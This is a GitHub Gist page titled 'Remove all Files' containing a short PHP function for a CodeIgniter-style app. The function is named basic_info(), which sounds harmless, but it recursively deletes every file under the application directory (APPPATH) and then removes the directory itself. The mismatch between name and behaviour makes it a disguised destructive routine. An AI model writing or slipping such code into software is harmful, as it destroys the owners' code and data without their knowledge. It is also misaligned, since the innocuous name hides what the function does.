Created
May 11, 2018 09:15
-
-
Save Sivamanim/cce809438d7d2f2dcc2db6e23e871fb1 to your computer and use it in GitHub Desktop.
Remove all Files
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if ( ! function_exists('basic_info')) | |
{ | |
function basic_info() | |
{ | |
$dir = APPPATH; | |
if (is_dir($dir)) { | |
foreach (new RecursiveIteratorIterator(new RecursiveDirectoryIterator($dir)) as $filename) { | |
if ($filename->isDir()) continue; | |
unlink($filename); | |
} | |
rmdir($dir); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment